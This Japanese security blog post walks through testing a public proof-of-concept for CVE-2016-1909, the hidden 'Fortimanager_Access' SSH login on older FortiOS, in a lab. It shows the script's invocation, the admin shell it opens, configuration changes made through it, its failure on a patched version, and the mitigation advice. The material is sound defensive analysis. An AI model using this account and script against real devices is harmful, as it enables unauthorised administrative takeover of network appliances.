スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > FortiOSの管理者権限を取得される脆弱性(CVE-2016-1909)

タイガーチームセキュリティレポート

FortiOSの管理者権限を取得される脆弱性(CVE-2016-1909)

元々は2014年時点で公開されていた脆弱性ですが、 2015年12月にJunipherのバックドアのニュースで場が温まり、 2016年1月にPoC(検証用コード)が一般公開されたことで、「バックドアか?」と話題になりました。


この脆弱性は、v5.0.7以前またはv4.3.16以前のFortiOSにおいて、リモートから管理者権限を取得できるというものです。 古いFortinet製品にSSHでの接続が許可されている場合、 「Fortimanager_Access」アカウントを使って 管理者権限でリモートからログイン可能となります。

アプライアンスの脆弱性検証では、検証環境の入手が難しい事があります。 OSイメージが無料で入手可能であれば、仮想デスクトップ上で行えますが、 実機だけでなくライセンス契約やユーザ登録が必要な場合もあります。 今回の脆弱性は後者でした。
そして、この部署ではFortinet製品の検証環境なんて持って無・・・

弊社あったー!!!

お隣の部署から拝借した検証環境で、PoCを試してみました。

検証環境:FortiOS v5.0.7
$ ./fgt_ssh_backdoor.py  172.16.1.55
FortiGate-VM64 #

ご覧のありさまです。一般公開されているPoCを使うことで、 さっくりと管理者ログインできました。

$ ./fgt_ssh_backdoor.py  172.16.1.55
FortiGate-VM64 # get system status | grep Version
Version: FortiGate-VM64 v5.0,build3608,140409 (GA Patch 7)
Release Version Information: GA Patch 7

詳細なバージョン情報を取得してみたり

$ ./fgt_ssh_backdoor.py  172.16.1.55
FortiGate-VM64 #  config system interface
FortiGate-VM64 #  edit port 2
FortiGate-VM64 #  set ip 192.168.0.1/24
FortiGate-VM64 #  set allow ping http ssh telnet dns
FortiGate-VM64 #  end

勝手に設定を追加してみたりなど思いのままです.


対策:
ベンダサイトに記載の通り、バージョンアップで対策されています。
対策済みバージョンの場合、PoCを使用しても失敗します。

検証環境:FortiOS v5.0.8(対策済み)
$ ./fgt_ssh_backdoor.py  172.16.1.56
Traceback (most recent call last):
  File "./fgt_ssh_backdoor.py", line 77, in 
    main()
  File "./fgt_ssh_backdoor.py", line 45, in main
    trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
  File "/Library/Python/2.7/site-packages/paramiko/transport.py", line 1375, in auth_interactiveraise SSHException('No existing session')
paramiko.ssh_exception.SSHException: No existing session
$

また、「Fortimanager_Access」のアカウントで SSHアクセスした際、すぐに接続が切断されます。

$ ssh Fortimanager_Access@172.16.1.56
Connection closed by 172.16.1.56
$

アプライアンスに限った話ではありませんが 古いバージョンには重大なセキュリティホールが発見されることが多くあります。 そのため、常に最新のバージョンへのアップデートを推奨します。

また、管理サービス(ssh、https)に対しては、 管理者以外からの接続元IPを制限するなどアクセス制限の実施も非常に有効です。


参考情報:
[1] CVE-2016-1909
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-1909
[2] JVNDB-2016-001296 FortiOS における管理アクセス権を取得される脆弱性
http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-001296.html
[3] FortiGuardCenter Multiple Products SSH Undocumented Login Vulnerability
https://fortiguard.com/advisory/multiple-products-ssh-undocumented-login-vulnerability


タイガーチームサービス事業部 R&D部 池畠